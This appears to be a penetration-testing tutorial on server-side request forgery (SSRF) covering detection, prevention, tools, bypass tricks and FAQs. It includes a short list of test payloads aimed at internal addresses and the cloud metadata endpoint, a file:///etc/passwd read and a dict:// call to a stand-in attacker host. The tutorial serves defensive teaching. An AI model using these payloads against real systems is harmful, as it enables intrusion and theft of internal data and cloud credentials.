Server-Side Request Forgery

Server-Side Request Forgery (SSRF) attacks manipulate server-side applications into making requests to unintended locations, potentially exposing sensitive data or internal services.

Understanding SSRF

An SSRF vulnerability occurs when an attacker can force a server to make HTTP requests to arbitrary destinations while bypassing access controls.

Common SSRF Targets:

  • Internal services (ports 22, 80, 443, 3306)
  • Cloud metadata endpoints
  • Admin interfaces
  • Database servers

Detection Methods

Start by identifying URL input parameters in web applications that fetch resources or make API calls.

  • Test URL parameters with internal IP addresses (127.0.0.1, localhost)
  • Try accessing cloud metadata URLs (169.254.169.254)
  • Use DNS logging services to detect blind SSRF
  • Check for URL schema support (file://, dict://, gopher://)

Prevention Strategies

  • Implement strict input validation
  • Use allowlists for permitted domains and IP ranges
  • Disable unused URL schemas
  • Configure proper network segmentation

Testing Tools

Tool Purpose
Burp Suite Professional SSRF scanning and exploitation
SSRFmap Automatic SSRF detection and exploitation
Collaborator Out-of-band SSRF detection

Quick SSRF Test Payloads


http://127.0.0.1:80
http://localhost:22
http://[::]:80
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
dict://attacker.com:11111

Mitigation Steps

  1. Use URL parsing libraries to validate input
  2. Implement proper access controls
  3. Block requests to internal networks
  4. Monitor outbound connections
  5. Use WAF rules to detect SSRF attempts

For reporting SSRF vulnerabilities responsibly, contact the affected organization’s security team through their bug bounty program or security@[domain].

Additional Resources

Impact Assessment

SSRF vulnerabilities can lead to several critical security issues:

  • Information disclosure from internal systems
  • Remote Code Execution (RCE) through internal service exploitation
  • Access to cloud service metadata
  • Internal port scanning
  • Denial of Service (DoS) attacks

Advanced Exploitation Techniques

DNS Rebinding

Attackers can bypass hostname-based filters using DNS rebinding, where DNS records are changed after initial validation.

IP Address Bypass Methods

  • Decimal IP representation
  • IPv6 addresses
  • DNS resolution tricks
  • Double URL encoding

Real-World Examples

  • Capital One breach (2019) – Cloud metadata exposure
  • Facebook ImageMagick SSRF (2016) – Internal service access
  • Shopify DNS rebinding vulnerability (2018) – Local service exploitation

Conclusion

SSRF vulnerabilities remain a significant security risk, especially in cloud environments. Successful mitigation requires a combination of input validation, network segmentation, and monitoring. Organizations should regularly test for SSRF vulnerabilities and implement comprehensive prevention strategies to protect internal services and sensitive data.

Regular security assessments and staying updated with the latest SSRF techniques and countermeasures are essential for maintaining robust security posture against these attacks.

FAQs

  1. What is Server-Side Request Forgery (SSRF)?
    SSRF is a web security vulnerability that allows attackers to induce server-side applications to make requests to unintended locations by manipulating the URLs to which the server makes requests.
  2. What are the common targets of SSRF attacks?
    SSRF attacks commonly target internal services like cloud metadata APIs, internal REST services, database management ports, admin interfaces, and file systems that are typically inaccessible from external networks.
  3. What are the main types of SSRF attacks?
    The main types are Basic SSRF (direct server requests), Blind SSRF (where attackers can’t see the response), and Semi-Blind SSRF (where attackers can infer responses through timing or other indirect means).
  4. How can SSRF vulnerabilities be detected during penetration testing?
    SSRF can be detected by testing URL input parameters, monitoring server responses, using automated scanning tools, testing for internal IP access, and analyzing responses to manipulated URLs.
  5. What are common SSRF bypass techniques?
    Common bypass techniques include using alternative IP formats, URL encoding, DNS rebinding, using different protocols (file://, dict://, gopher://), and leveraging redirects.
  6. What are the potential impacts of successful SSRF attacks?
    Successful SSRF attacks can lead to internal network scanning, data exfiltration, access to internal services, remote code execution, and in cloud environments, access to metadata services containing sensitive credentials.
  7. How can SSRF vulnerabilities be prevented?
    Prevention methods include implementing strict URL validation, using allowlists for domains and IP ranges, disabling unused URL schemas, implementing network segmentation, and using appropriate firewall rules.
  8. What tools are commonly used for SSRF testing?
    Popular SSRF testing tools include Burp Suite Professional, SSRF Sheriff, SSRFmap, Gopherus, and custom Python scripts designed for SSRF exploitation.
  9. What are common SSRF filter bypass payloads?
    Common bypass payloads include using IPv6 addresses, decimal IP notation, URL shorteners, DNS rebinding attacks, and double URL encoding to evade security filters.
  10. How does SSRF relate to cloud environment security?
    In cloud environments, SSRF can be particularly dangerous as it may allow access to cloud metadata services, which often contain sensitive information like access tokens and credentials for cloud resources.
Editor
Author: Editor

Related Posts

Tool Documentation Standards

documentation standards

Documentation standards ensure consistency, clarity, and effectiveness when recording findings during penetration testing engagements. Proper documentation helps security teams track vulnerabilities, communicate issues to stakeholders, and maintain an audit trail ... Read more

Testing Tool Integration

tool integration

Testing tool integration is a critical aspect of cybersecurity assessment that combines various security testing tools to create a more robust and comprehensive penetration testing workflow. Security professionals need efficient ... Read more

Automation Framework Design

automation framework

An automation framework streamlines and standardizes penetration testing processes, making security assessments more efficient and repeatable. Properly designed frameworks reduce manual effort while maintaining testing quality and consistency across different ... Read more

Exploitation Tool Development

tool development

Penetration testing tools require careful development to effectively identify security vulnerabilities in systems and networks. Security professionals need specialized exploitation tools that can safely simulate real-world attacks without causing damage. ... Read more

Security Tool Architecture

tool architecture

Security tool architecture forms the backbone of effective penetration testing, enabling security professionals to systematically probe systems for vulnerabilities. A well-structured security testing toolkit combines reconnaissance tools, vulnerability scanners, exploitation ... Read more

Build Server Security

build security

Security testing of build servers protects the foundation of software development and deployment processes from potential threats and vulnerabilities. Build servers handle sensitive data, access credentials, and control deployment pipelines, ... Read more

Secret Management

secrets management

Secret management stands as a cornerstone of cybersecurity, particularly during penetration testing operations where handling sensitive data requires meticulous care and precision. Penetration testers must safeguard various types of secrets ... Read more

Deployment Security

deployment security

Penetration testing during deployment phases helps organizations identify security vulnerabilities before applications go live. Security teams use automated and manual testing methods to simulate real-world attacks against newly deployed systems ... Read more